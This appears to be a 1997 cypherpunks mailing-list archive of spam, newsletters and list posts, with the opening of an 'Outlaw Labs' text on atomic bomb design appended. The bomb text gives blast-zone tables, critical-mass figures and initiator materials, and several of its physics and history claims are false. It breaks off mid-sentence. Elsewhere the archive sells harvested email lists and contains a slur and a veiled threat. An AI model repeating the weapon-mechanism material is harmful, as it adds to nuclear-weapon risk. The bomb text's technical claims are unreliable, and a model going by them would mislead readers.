< <> >   Get 2 Million Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
                          *  Visa  &  Mastercard  Welcome  *
                      Targeted to General Business & More
        All deliverable - Guaranteed - We replace your undeliverables!
All addresses processed against a very extensive database of "remove" requests.

  Order Now and we will give you an  EXCELLENT and  AFFORDABLE 
  ISP  that welcomes unsolicited bulk email!

This offer is for 2 days Only!  Plus you will be immediately eligible for 
Exclusive Direct Wholesale Offers for all of your marketing needs!  
No waiting time!  Immediately obtain this offer NOW & get started TODAY!
For your << automatic  >> Order Form:    Email:   2mil@allvip.com

    * To Remove:  Please hit reply & type "remove" in the subject







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <sbn@MICROSOFT.COM>
Date: Tue, 6 May 1997 21:20:50 -0700 (PDT)
To: SBNMEM@LISTSERV.MSN.COM
Subject: Site Builder Network: SBN Wire
Message-ID: <0845FCDE78BFD011A17600805FD43A8F184B97@RED-45-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

*  New - Microsoft Site Server
*  Microsoft Developer Network Library Goes Online
*  Free Intranet apps from the new Intranet Solutions
Center
*  Get ready to develop for Internet Explorer 4.0
*  New - Dynamic HTML Gallery

MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

*  Introducing:  Site of the Month
*  Feature Story - Internet Explorer 4.0 Technology
*  Chili!ASP from ChiliSoft
*  Metrowerks CodeWarrior for the Mac

PLEASE NOTE: FORMATTING RESTRICTIONS MAY NOT ALLOW A URL
TO FIT ON ONE LINE, THUS CAUSING AN ERROR IN THE LINK.
IF A URL LINK DOES NOT SEEM TO WORK, PLEASE PASTE THE
WHOLE ADDRESS (THAT MAY STRETCH INTO TWO LINES) INTO
YOUR BROWSER FOR VIEWING.  THANK YOU FOR YOUR PATIENCE.


NEWS & ANNOUNCEMENTS

NEW - MICROSOFT SITE SERVER
Microsoft Site Server, the newest member of Microsoft's
BackOffice family, makes it easy to enhance, deploy, and
manage sophisticated web sites built on Windows NT
Server and Internet Information Server.  For all the
latest information, go to the new Site Server web site
at http://www.microsoft.com/siteserver/.

MICROSOFT DEVELOPER NETWORK LIBRARY GOES ONLINE
Site Builder Network's sister resource, the Microsoft
Developer Network, has launched a new web site.  Go to
http://www.microsoft.com/siteserver/ for the most up-to-
date programming information.  Take advantage of an MSDN
Online Membership and receive access to the MSDN Library
Online, a registration to the MSDNFlash (email
notification service), and a host of other online
specials.

FREE INTRANET APPS FROM THE NEW INTRANET SOLUTIONS
CENTER
We've launched a one-stop web site for finding fast easy
answers to intranet issues at
http://www.microsoft.com/intranet/default.htm.  The site
includes 47 free, sample intranet applications you can
download, including workflow charts, bug tracking,
employee handbooks and more.  Plus, articles, case
studies, and a load of resources can be found at the
site.

GET READY TO DEVELOP FOR INTERNET EXPLORER 4.0
To ready you for Internet Explorer 4.0, we've built a
whole new Workshop page just for Internet Explorer 4.0
Technologies.  You can find it at
http://www.microsoft.com/sitebuilder/workshop/prog/ie4/.
You'll find the latest information on Microsoft Internet
Client Software Development Kit, being shipped with the
IE4 Platform Preview CD.

DYNAMIC HTML GALLERY
We've expanded our Gallery to include a section on
Dynamic HTML.  Go to
http://www.microsoft.com/gallery/default.asp and scroll
down to the Dynamic HTML globe.  Here you will find the
latest Internet Explorer 4.0 technology, ready to view.
Learn about and start using Dynamic HTML now!


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

INTRODUCING - SITE OF THE MONTH
Introducing the Site Builder Network Site of the Month.
Don't envy them; learn from their stories. The SBN Site
of the Month features in-depth analysis of the
technical, design, and business stories behind a Web
site that rocks (and maybe even money).   Check out our
first honoree at
http://www.microsoft.com/sitebuilder/webadvantage/baarns
.asp.

FEATURE STORY - INTERNET EXPLORER 4.0
We're spotlighting Internet Explorer 4.0 this week.
Check out the feature story this week in the Site
Builder Network Magazine at
http://www.microsoft.com/sitebuilder/features/inetsdk.
asp. Topics include: a what-why-how overview of a very
Web-savvy browser, how the new multimedia controls will
add sparkle to your pages, and the Dynamic HTML Object
Model explained.

NEW DOWNLOADS

Chili!ASP, from ChiliSoft, lets you build Active Server
Pages (ASP) on non-Microsoft Web servers.

Metrowerks CodeWarrior is the development environment of
choice for Macintosh computers. This special
demonstration version of CodeWarrior lets you experience
the fast compilers, easy-to-use IDE (Integrated
Development Environment), and context-sensitive editor.

________________________________________
To increase or decrease the frequency of e-mail or
postal mail you receive from Site Builder Network,
please go to
http://www.microsoft.com/sbnmember/apply/apply.asp and
click "Change Your Membership."  You will find check
boxes, which will allow you to choose the frequency of
mail you wish to receive (including none).  To cancel
your SBN membership, please put "Cancel my Membership"
in the subject heading and e-mail back to
SBN@microsoft.com.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Thu, 8 May 1997 03:57:28 -0700 (PDT)
To: eon@black.hole
Subject: pgMedia, Inc. vs. Network Solutions, Inc. PARTY!
Message-ID: <1349049079-807401@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


name.space hits network solutions with antitrust suit

zero.tolerance.org - mediafilter.org - and name.space
invite you to our web party and legal fundraiser at

11 East 4th Street 2F Buzzer #1
New York, NY 10003

Friday, 5-9-97, 7pm (EDT) till...

register a name in name.space
create a virtual home page
bring images to scan

if you're not live in NYC you can still see
the event on our webcam
and register from wherever you are!

check out the party at
http://namespace.party.cam

switch your PC or Mac to name.space with one click
http://ns.autono.net./ns./download.html

see.you.in.name.space

Paul Garrin

http://name.space
http://namespace.xs2.net



apologies if you got this twice
or if you do not support the freeing of the internet.

for more information on the Anti-Trust action

pgMedia, Inc. d/b/a/ name.space

vs.

Network Solutions, Inc.

please go to

http://namespace.xs2.net/ns./legal.html












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ellis Laser <ellis@internetmedia.com>
Date: Thu, 8 May 1997 08:09:08 -0700 (PDT)
To: ellis@internetmedia.com
Subject: Vision Survey - Rid Yourself of Glasses/Contacts!!
Message-ID: <bulk.22482.19970508103500@ns.internetmedia.com>
MIME-Version: 1.0
Content-Type: text/plain



"Our Vision Is To Give You New Vision."
"Trust Your Eyes To Experience."

Northern California's most experienced laser vision corrective specialtist, 
Dr. William Ellis of the Ellis Eye and Laser Centers invites you to take
our short survey and offers you FREE information about how to rid yourself
of glasses and/or contacts, in the form of FREE Seminars, Consultations 
and videos.

Please type your answers into the body of your reply message.
Please answer all questions and note the type of information you 
would like to receive.

1. Do you currently wear glasses or contacts?  

2. How long have you worn corrective lenses?

3. Do you have an interest in getting out of glasses or contacts?

4. What activities interest you that are currently inconvenienced by 
glasses or contacts?

5. Do you wear multifocal lenses? (Bifocals)

6. Are you nearsighted, farsighted, astigmatic or presbyopic (need 
ifocals)?

7. Check which of the following refractive procedures you've heard 
about or considered:

A) RK   B) AK   C) HK  D) ALK  E) PRK  F) LASIK

Name:Address:  
City, State
Zip Code
Work Phone:
Home Phone:

I have interest in the following:

Free Seminars
Free Consultations
Exam
Videos
Television Program Information

To learn more about advancements in vision correction, Ellis Eye & Laser
Centers invites you to our web site.

 http://207.120.43.144/100130.html

-------------------------------------------------------------------------
Ellis Eye &  Laser Centers, Inc. respects your online time and Internet 
privacy. This is a one time only questionaire, your name will be removed 
from our files. However,if you wish to subscribe and receive future 
updates and information on our services, you may reply and type SUBSCRIBE 
in the subject line. Thank you!
--------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 9 May 1997 12:12:57 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: We want to kiss you, NOW
Message-ID: <199705090700.IAA18388@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


A is for Aardvark
B is for Bite
C is for the Cure
D is for Dribble
E is for Eurovision
F is for Frog
G is for Glasgow kiss
H is for Halitosis
I is for Implants
J is for Judas
K is for Kiss 'n' tell
L is for Lips
M is for Mistletoe
N is for Necking
O is for Osculation
P is for Pucker
Q is for the Queen
R is for Radio stations
S is for Snog
T is for Tongue
U is for Ulcer
V is for Vampires 
W is for Wet
X is for X
Z is for Zit

Shift Control is for kissing, in all its colours
Shift Control is ready and waiting with a purse for you
Shift Control is at www.shiftcontrol.com

__________________________________________

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M2C <m2c@ucs.net>
Date: Fri, 9 May 1997 12:09:40 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Free Job Posting At The New US Resume
Message-ID: <2.2.32.19970509190529.0068a524@ucs.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear Associate:

We are sending you this message because you are on file as having requested
Job/Resume related information in the past.

------------------------
NOTE: As we all know, the issue of EMAIL is sensitive at best.  If we have
made a mistake by sending you this, or if you are offended in any way,
please reply to this message with the word "REMOVE" in the Subject Field of
your message, and list the email addresses you want removed in the body of
your message, and we will make sure you do not receive any future email from
us.  We take this issue very seriously, and want to make sure not to send
email to anyone who does not want it.  If for some reason you once requested
to be removed from our list, and are still receiving email, please reply to
this message.  We are now tracking remove requests with a new system.
------------------------

Please visit the NEW US RESUME.  We now have over 20,000 Job Links, a New
Search Engine, a FREE JOB POSTING FORUM, new Membership Programs to access
the Resumes/Profile database (which currently has over 24,000 reusmes or
profiles), and much more!

You can check out the new US Resume at: http://www.usresume.com

If you have any questions, please feel free to give us a call.


Thank You
Market 2000 Corp.(M2C)/US Resume
914-398-0911





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen Cobb, CISSP" <stephen@iu.net>
Date: Fri, 9 May 1997 12:05:50 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: In Vino Veritas
Message-ID: <3.0.32.19970509145640.0077c0b8@iu.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert

Thanks so much for a truly enjoyable and thought-provoking piece of
writing. It gladdens my heart to know that there are still people out there
who know what happened to the Romantics!

But you do have to be careful about typing behavior with age. I live in
Florida and yes, we have a lot of old folks, but a sadly significant number
of the moralists are in their 20s and 30s. 

In Brevard County where I live (and shuttles are launched) they have banned
nude sunbathing, even on Federal property (also thong bikinis and male swim
wear that "permits discernible turgidity" -- by this standard most of the
Olympic finalists in the men's 100 meters would have been breaking the law
if Brevard County had been hosting). 

Much of the ban-the-nudist lobbying was done people well under 40. There
was a great moment at the televised County meeting when a frail old man
made his way to the podium and we all braced for another "skin is sin"
speech. But this is what he said "I'm a nudist and believe me, you have no
idea who else is."

So, it is not age that makes folks stupid. My mother took me on a
ban-the-bomb march when I was 6. I helped disrupt a tour by the all-white
South African rugby team when I was 17. But in the town were I grew up we
had both hippies and Nazi-loving, Paki-bashing skinheads (I use the term
Paki-bashing only because that is what people called it).

We also had Young Conservatives, aging beatniks, and leftists who were so
far left they actually admired Stalin (they were so screwed up that,
despite being atheists, they protested the British government's decision to
deny a priest, jailed for helping the IRA blow up parts of Coventry,
conduct mass in prison).

Me, I'm 45 and hope I will be my own kind of libertarian until I die. My
mother is in her 70s and still working for the cause of freedom and
dignity. My brother quit banking to write security software, some of which
is causing brains to hurt at the UK's DTI. 

But getting back to prohibition, do the words "when will they ever learn?"
strike a chord? It is so damn obvious that prohibition=organized crime I
can't believe it isn't genetic already, like not eating things that smell
rotten. But I digress. A book worth reading on the subject, if only for the
examples and footnotes, is "Ain't Nobody's Business If You Do: The
Absurdity of Consensual Crimes in a Free Society" by Peter McWilliams Now
available in paperback, published by Prelude Press. 

Personally, I look forward to reading more of your postings.

Stephen

	Certified Information Systems Security Professional
	Owner, Cobb Associates: "An independent information
	technology & security consulting firm...since 1987"
	"The best weapon with which to defend information..
	..is information." Cobb, Guide to PC & LAN Security
	2825 Garden, Suite 7-11, Titusville, Florida  32796
	Tel: 1 407 383 0977 Fax: 0336 Email: stephen@iu.net
	Try http://www.2cobbs.com & http://www.cobweb.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MOBILE.CONNECTION@texoma.net
Date: Fri, 9 May 1997 16:04:08 -0700 (PDT)
To: CONCERNED@mail.texoma.net
Subject: FREE REFERRAL SERVICE
Message-ID: <199705092302.SAA26162@mail.texoma.net>
MIME-Version: 1.0
Content-Type: text/plain



   HELLO!!

 THIS IS TO INFORM YOU THAT THERE IS NOW A  FREE DOCTORS REFERRAL SITE FOR ALL CONCERNED PEOPLE LOOKING FOR QUAILIFIED DOCTORS,IN ALL 50 STATES. 

 PLEASE LET YOUR DOCTORS KNOW THAT THIS SITE IS  AVAILABLE,  IF HIS NAME IS NOT YET POSTED, KINDLY PASS ON HIS INFORMATION SO WE CAN POST IT. 


DOCTOR'S INFORMATION REQUESTED:
 
                                   NAME 
                                  TYPE OF SPECIALIST
                                   ADDRESS
                                   TELEPHONE
                                   STATE AND TOWN
                                  


THE SITE IIS LOCATED AT:  http://www.mobilconnect.net/

THANK AGAIN


JOHN 

.........................................................................................................................................................

ALSO AT MY SITE ARE THE LINKS TO THE  GREATEST CONNECTIONS TO ALL OF THE BEST SEARCH SITES THOUGHOUT  THE WORLD.

FOR PERSONS WHO WOULD LIKE FREE E-MAIL ADDRESSES, HERE ARE 2 THOUSAND THAT I COLLECTED RECENTLY,(the e-mail address are changed  often)


FREE, ALSO IS THE GREATEST BULK E-MAILER DEMO PROGRAM ..MY  SPECIAL PRICE IS  $100.00 ,(program only)  ,    SO,   DOWN LOAD THE  DEMO AND  AGREE WITH ME,, IT IS  EQUAL TO THE BEST ONES OUT THERE RANGING FROM PRICES $300-$400. 

People who have there own WEB SITE  now you can get  the the best program to put yourself on al search engines automactly, and it updates itself and sends to new search engines, demo available

People who do not want this program , can register with us and we send to all  200 plus sites, for a small fee.


CIGAR LOVER WE HAVE GREAT TASTEING CIGARS AT UN- BEATABLE PRICES, 

                            GO TO OUR SITE FOR MORE INFORMATION

NOTICE : I AM NOT SENDING BY A LIST , SO THERE IS NO REMOVAL AT THIS TIME.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 07:30:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: <RyNH7D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> It is time something unfortunate happened to all those leading the push for n

Let's have Cocksucker John Gilmore unsubscrive them from this mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mercury Messenger Services" <futuregate@inetnow.net>
Date: Sat, 10 May 1997 18:58:22 -0700 (PDT)
To: futuregate@main.inetnow.net
Subject: Increase Traffic to your Web-site!
Message-ID: <199705110125.VAA07924@main.inetnow.net>
MIME-Version: 1.0
Content-Type: text/plain


 FutureGate's new "Super-Submission 150" service is a quick,
 inexpensive and effective way to increase your web site traffic or
 "hits".  We will do the work required to make your site easier to
 find.  We submit your information to the most popular directories and
 search engines in use today, making your site easily accessible to
 the millions of people looking for what you have to offer on the web.

We will submit your web-site to 150 directories and search engines, at
a low introductory fee of $29.95. 

Visit the web-site for details and a special bonus offer:

http://www.futuregate.com/supersubmit/


----------------------------------------------------------------------

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--------------------------------
  File courtesy of Outlaw Labs
--------------------------------


 ============================================================================
               -------------------------------------------------
               - Documentation and Diagrams of the Atomic Bomb -
               -------------------------------------------------
 ============================================================================
   ______________
  /              \
 <-} DISCLAIMER {->
  \______________/

     The  information  contained  in  this file  is strictly for  academic use
alone.   Outlaw Labs will bear  no responsibility  for any use otherwise.   It
would be  wise  to note that the  personnel  who  design  and construct  these
devices are  skilled physicists  and are  more knowledgeable  in these matters
than  any  layperson  can ever hope to be...   Should  a layperson  attempt to
build a device such as this,  chances are s/he would probably kill his/herself
not by a nuclear detonation,  but rather through radiation exposure.   We here
at Outlaw Labs do not recommend using  this file beyond the realm of casual or
academic curiosity.


 ============================================================================

                            -----------------------
                            -+ Table of Contents +-
                            -----------------------


     I.  The History of the Atomic Bomb
         ------------------------------
         A).  Development  (The Manhattan Project)
         B).  Detonation
              1). Hiroshima
              2). Nagasaki
              3). Byproducts of atomic detonations
              4). Blast Zones


    II.  Nuclear Fission/Nuclear Fusion
         ------------------------------
         A).  Fission (A-Bomb) & Fusion (H-Bomb)
         B).  U-235, U-238 and Plutonium


   III.  The Mechanism of The Bomb
         -------------------------
         A).  Altimeter
         B).  Air Pressure Detonator
         C).  Detonating Head(s)
         D).  Explosive Charge(s)
         E).  Neutron Deflector
         F).  Uranium & Plutonium
         G).  Lead Shield
         H).  Fuses


    IV.  The Diagram of The Bomb
         -----------------------
         A).  The Uranium Bomb
         B).  The Plutonium Bomb




 ============================================================================ 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



   I.  The History of the Atomic Bomb
       ------------------------------

       On August 2nd 1939, just before the beginning of World War II, Albert
Einstein wrote to then President Franklin D. Roosevelt.  Einstein and several
other scientists told Roosevelt of efforts in Nazi Germany to purify U-235
with which might in turn be used to build an atomic bomb.  It was shortly
thereafter that the United States Government began the serious undertaking
known only then as the Manhattan Project.  Simply put, the Manhattan Project
was committed to expedient research and production that would produce a viable
atomic bomb.

     The most complicated issue to be addressed was the production of ample
amounts of `enriched' uranium to sustain a chain reaction.  At the time,
Uranium-235 was very hard to extract.  In fact, the ratio of conversion from
Uranium ore to Uranium metal is 500:1.  An additional drawback is that the 1
part of Uranium that is finally refined from the ore consists of over 99%
Uranium-238, which is practically useless for an atomic bomb.  To make it even
more difficult, U-235 and U-238 are precisely similar in their chemical
makeup.  This proved to be as much of a challenge as separating a solution of
sucrose from a solution of glucose.  No ordinary chemical extraction could
separate the two isotopes.  Only mechanical methods could effectively separate
U-235 from U-238.  Several scientists at Columbia University managed to solve
this dilemma.

     A massive enrichment laboratory/plant was constructed at Oak Ridge,
Tennessee.  H.C. Urey, along with his associates and colleagues at Columbia
University, devised a system that worked on the principle of gaseous
diffusion.  Following this process, Ernest O.  Lawrence (inventor of the
Cyclotron) at the University of California in Berkeley implemented a process
involving magnetic separation of the two isotopes.

     Following the first two processes, a gas centrifuge was used to further
separate the lighter U-235 from the heavier non-fissionable U-238 by their
mass.  Once all of these procedures had been completed, all that needed to be
done was to put to the test the entire concept behind atomic fission.  [For
more information on these procedures of refining Uranium, see Section 3.]

     Over the course of six years, ranging from 1939 to 1945, more than 2
billion dollars were spent on the Manhattan Project.  The formulas for
refining Uranium and putting together a working bomb were created and seen to
their logical ends by some of the greatest minds of our time.  Among these
people who unleashed the power of the atomic bomb was J. Robert Oppenheimer.

     Oppenheimer was the major force behind the Manhattan Project.  He
literally ran the show and saw to it that all of the great minds working on
this project made their brainstorms work.  He oversaw the entire project from
its conception to its completion.

     Finally the day came when all at Los Alamos would find out whether or not
The Gadget (code-named as such during its development) was either going to be
the colossal dud of the century or perhaps end the war.  It all came down to
a fateful morning of midsummer, 1945.

     At 5:29:45 (Mountain War Time) on July 16th, 1945, in a white blaze that
stretched from the basin of the Jemez Mountains in northern New Mexico to the
still-dark skies, The Gadget ushered in the Atomic Age.  The light of the
explosion then turned orange as the atomic fireball began shooting upwards at
360 feet per second, reddening and pulsing as it cooled. The characteristic
mushroom cloud of radioactive vapor materialized at 30,000 feet.  Beneath the
cloud, all that remained of the soil at the blast site were fragments of jade
green radioactive glass.  ...All of this caused by the heat of the reaction.

     The brilliant light from the detonation pierced the early morning skies
with such intensity that residents from a faraway neighboring community would
swear that the sun came up twice that day.  Even more astonishing is that a
blind girl saw the flash 120 miles away.

     Upon witnessing the explosion, reactions among the people who created
it were mixed.  Isidor Rabi felt that the equilibrium in nature had been
upset -- as if humankind had become a threat to the world it inhabited.
J. Robert Oppenheimer, though ecstatic about the success of the project,
quoted a remembered fragment from Bhagavad Gita.  "I am become Death," he
said, "the destroyer of worlds."  Ken Bainbridge, the test director, told
Oppenheimer, "Now we're all sons of bitches."

     Several participants, shortly after viewing the results, signed petitions
against loosing the monster they had created, but their protests fell on deaf
ears.  As it later turned out, the Jornada del Muerto of New Mexico was not
the last site on planet Earth to experience an atomic explosion.

     As many know, atomic bombs have been used only twice in warfare.  The
first and foremost blast site of the atomic bomb is Hiroshima.  A Uranium
bomb (which weighed in at over 4 & 1/2 tons) nicknamed "Little Boy" was
dropped on Hiroshima August 6th, 1945.  The Aioi Bridge, one of 81 bridges
connecting the seven-branched delta of the Ota River, was the aiming point of
the bomb.  Ground Zero was set at 1,980 feet.  At 0815 hours, the bomb was
dropped from the Enola Gay.  It missed by only 800 feet.  At 0816 hours, in
the flash of an instant, 66,000 people were killed and 69,000 people were
injured by a 10 kiloton atomic explosion.

     The point of total vaporization from the blast measured one half of a
mile in diameter.  Total destruction ranged at one mile in diameter.  Severe
blast damage carried as far as two miles in diameter.  At two and a half
miles, everything flammable in the area burned.  The remaining area of the
blast zone was riddled with serious blazes that stretched out to the final
edge at a little over three miles in diameter.  [See diagram below for blast
ranges from the atomic blast.]

     On August 9th 1945, Nagasaki fell to the same treatment as Hiroshima.
Only this time, a Plutonium bomb nicknamed "Fat Man" was dropped on the city.
Even though the "Fat Man" missed by over a mile and a half, it still leveled
nearly half the city.  Nagasaki's population dropped in one split-second from
422,000 to 383,000.  39,000 were killed, over 25,000 were injured.  That
blast was less than 10 kilotons as well.  Estimates from physicists who have
studied each atomic explosion state that the bombs that were used had utilized
only 1/10th of 1 percent of their respective explosive capabilities.

     While the mere explosion from an atomic bomb is deadly enough, its
destructive ability doesn't stop there.  Atomic fallout creates another hazard
as well.  The rain that follows any atomic detonation is laden with
radioactive particles.  Many survivors of the Hiroshima and Nagasaki blasts
succumbed to radiation poisoning due to this occurance.

     The atomic detonation also has the hidden lethal surprise of affecting
the future generations of those who live through it.  Leukemia is among the
greatest of afflictions that are passed on to the offspring of survivors.

     While the main purpose behind the atomic bomb is obvious, there are many
by-products that have been brought into consideration in the use of all
weapons atomic.  With one small atomic bomb, a massive area's communications,
travel and machinery will grind to a dead halt due to the EMP (Electro-
Magnetic Pulse) that is radiated from a high-altitude atomic detonation.
These high-level detonations are hardly lethal, yet they deliver a serious
enough EMP to scramble any and all things electronic ranging from copper wires
all the way up to a computer's CPU within a 50 mile radius.

     At one time, during the early days of The Atomic Age, it was a popular
notion that one day atomic bombs would one day be used in mining operations
and perhaps aid in the construction of another Panama Canal.  Needless to say,
it never came about.  Instead, the military applications of atomic destruction
increased.  Atomic tests off of the Bikini Atoll and several other sites were
common up until the Nuclear Test Ban Treaty was introduced.  Photos of nuclear
test sites here in the United States can be obtained through the Freedom of
Information Act.

 ============================================================================

                - Breakdown of the Atomic Bomb's Blast Zones -
                ----------------------------------------------


                                       .
                         .                           .


              .                        .                        .
                             .                   .
               [5]                    [4]                    [5]
                                       .
                      .        .               .        .

       .                  .                         .                  .

                 .          [3]        _        [3]          .
                      .           .   [2]   .           .
                                .     _._     .
                               .    .~   ~.    .
    .          . [4] .         .[2].  [1]  .[2].         . [4] .          .
                               .    .     .    .
                                .    ~-.-~    .
                      .           .   [2]   .           .
                 .          [3]        -        [3]          .

       .                  .                         .                  .

                      .        ~               ~        .
                                       ~
               [5]           .        [4]        .           [5]
                                       .
              .                                                 .


                         .                           .
                                       .


 ============================================================================

                              - Diagram Outline -
                             ---------------------


     [1]  Vaporization Point
          ------------------
          Everything is vaporized by the atomic blast.  98% fatalities.
          Overpress=25 psi.  Wind velocity=320 mph.

     [2]  Total Destruction
          -----------------
          All structures above ground are destroyed.  90% fatalities.
          Overpress=17 psi.  Wind velocity=290 mph.

     [3]  Severe Blast Damage
          -------------------
          Factories and other large-scale building collapse.  Severe damage
          to highway bridges.  Rivers sometimes flow countercurrent.
          65% fatalities, 30% injured.
          Overpress=9 psi.  Wind velocity=260 mph.

     [4]  Severe Heat Damage
          ------------------
          Everything flammable burns.  People in the area suffocate due to
          the fact that most available oxygen is consumed by the fires.
          50% fatalities, 45% injured.
          Overpress=6 psi.  Wind velocity=140 mph.

     [5]  Severe Fire & Wind Damage
          -------------------------
          Residency structures are severely damaged.  People are blown
          around.  2nd and 3rd-degree burns suffered by most survivors.
          15% dead.  50% injured.
          Overpress=3 psi.  Wind velocity=98 mph.



----------------------------------------------------------------------------

                            - Blast Zone Radii -
                           ----------------------
                          [3 different bomb types]
____________________________________________________________________________
  ______________________   ______________________   ______________________
 |                      | |                      | |                      |
 |    -[10 KILOTONS]-   | |     -[1 MEGATON]-    | |    -[20 MEGATONS]-   |
 |----------------------| |----------------------| |----------------------|
 | Airburst - 1,980 ft  | | Airburst - 8,000 ft  | | Airburst - 17,500 ft |
 |______________________| |______________________| |______________________|
 |                      | |                      | |                      |
 |  [1]  0.5 miles      | |  [1]  2.5 miles      | |  [1]  8.75 miles     |
 |  [2]  1 mile         | |  [2]  3.75 miles     | |  [2]  14 miles       |
 |  [3]  1.75 miles     | |  [3]  6.5 miles      | |  [3]  27 miles       |
 |  [4]  2.5 miles      | |  [4]  7.75 miles     | |  [4]  31 miles       |
 |  [5]  3 miles        | |  [5]  10 miles       | |  [5]  35 miles       |
 |                      | |                      | |                      |
 |______________________| |______________________| |______________________|
____________________________________________________________________________

============================================================================


-End of section 1-

 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------

     II.  Nuclear Fission/Nuclear Fusion
          ------------------------------


     There are 2 types of atomic explosions that can be facilitated by U-235;
fission and fusion.  Fission, simply put, is a nuclear reaction in which an
atomic nucleus splits into fragments, usually two fragments of comparable
mass, with the evolution of approximately 100 million to several hundred
million volts of energy.  This energy is expelled explosively and violently in
the atomic bomb.  A fusion reaction is invariably started with a fission
reaction, but unlike the fission reaction, the fusion (Hydrogen) bomb derives
its power from the fusing of nuclei of various hydrogen isotopes in the
formation of helium nuclei.  Being that the bomb in this file is strictly
atomic, the other aspects of the Hydrogen Bomb will be set aside for now.

     The massive power behind the reaction in an atomic bomb arises from the
forces that hold the atom together.  These forces are akin to, but not quite
the same as, magnetism.

     Atoms are comprised of three sub-atomic particles.  Protons and neutrons
cluster together to form the nucleus (central mass) of the atom while the
electrons orbit the nucleus much like planets around a sun.  It is these
particles that determine the stability of the atom.

     Most natural elements have very stable atoms which are impossible to
split except by bombardment by particle accelerators.  For all practical
purposes, the one true element whose atoms can be split comparatively easily
is the metal Uranium.  Uranium's atoms are unusually large, henceforth, it is
hard for them to hold together firmly.  This makes Uranium-235 an exceptional
candidate for nuclear fission.

     Uranium is a heavy metal, heavier than gold, and not only does it have
the largest atoms of any natural element, the atoms that comprise Uranium have
far more neutrons than protons.  This does not enhance their capacity to
split, but it does have an important bearing on their capacity to facilitate
an explosion.

     There are two isotopes of Uranium.  Natural Uranium consists mostly of
isotope U-238, which has 92 protons and 146 neutrons (92+146=238).  Mixed with
this isotope, one will find a 0.6% accumulation of U-235, which has only 143
neutrons.  This isotope, unlike U-238, has atoms that can be split, thus it is
termed "fissionable" and useful in making atomic bombs.  Being that U-238 is
neutron-heavy, it reflects neutrons, rather than absorbing them like its
brother isotope, U-235.  (U-238 serves no function in an atomic reaction, but
its properties provide an excellent shield for the U-235 in a constructed bomb
as a neutron reflector.  This helps prevent an accidental chain reaction
between the larger U-235 mass and its `bullet' counterpart within the bomb.
Also note that while U-238 cannot facilitate a chain-reaction, it can be
neutron-saturated to produce Plutonium (Pu-239).  Plutonium is fissionable and
can be used in place of Uranium-235 {albeit, with a different model of
detonator} in an atomic bomb. [See Sections 3 & 4 of this file.])

     Both isotopes of Uranium are naturally radioactive.  Their bulky atoms
disintegrate over a period of time.  Given enough time, (over 100,000 years or
more) Uranium will eventually lose so many particles that it will turn into
the metal lead.  However, this process can be accelerated.  This process is
known as the chain reaction.  Instead of disintegrating slowly, the atoms are
forcibly split by neutrons forcing their way into the nucleus.  A U-235 atom
is so unstable that a blow from a single neutron is enough to split it and
henceforth bring on a chain reaction.  This can happen even when a critical
mass is present.  When this chain reaction occurs, the Uranium atom splits
into two smaller atoms of different elements, such as Barium and Krypton.

     When a U-235 atom splits, it gives off energy in the form of heat and
Gamma radiation, which is the most powerful form of radioactivity and the most
lethal.  When this reaction occurs, the split atom will also give off two or
three of its `spare' neutrons, which are not needed to make either Barium or
Krypton.  These spare neutrons fly out with sufficient force to split other
atoms they come in contact with.  [See chart below]  In theory, it is
necessary to split only one U-235 atom, and the neutrons from this will split
other atoms, which will split more...so on and so forth.  This progression
does not take place arithmetically, but geometrically.  All of this will
happen within a millionth of a second.

     The minimum amount to start a chain reaction as described above is known
as SuperCritical Mass.  The actual mass needed to facilitate this chain
reaction depends upon the purity of the material, but for pure U-235, it is
110 pounds (50 kilograms), but no Uranium is never quite pure, so in reality
more will be needed.

     Uranium is not the only material used for making atomic bombs.  Another
material is the element Plutonium, in its isotope Pu-239.  Plutonium is not
found naturally (except in minute traces) and is always made from Uranium.
The only way to produce Plutonium from Uranium is to process U-238 through a
nuclear reactor.  After a period of time, the intense radioactivity causes the
metal to pick up extra particles, so that more and more of its atoms turn into
Plutonium.

     Plutonium will not start a fast chain reaction by itself, but this
difficulty is overcome by having a neutron source, a highly radioactive
material that gives off neutrons faster than the Plutonium itself.  In certain
types of bombs, a mixture of the elements Beryllium and Polonium is used to
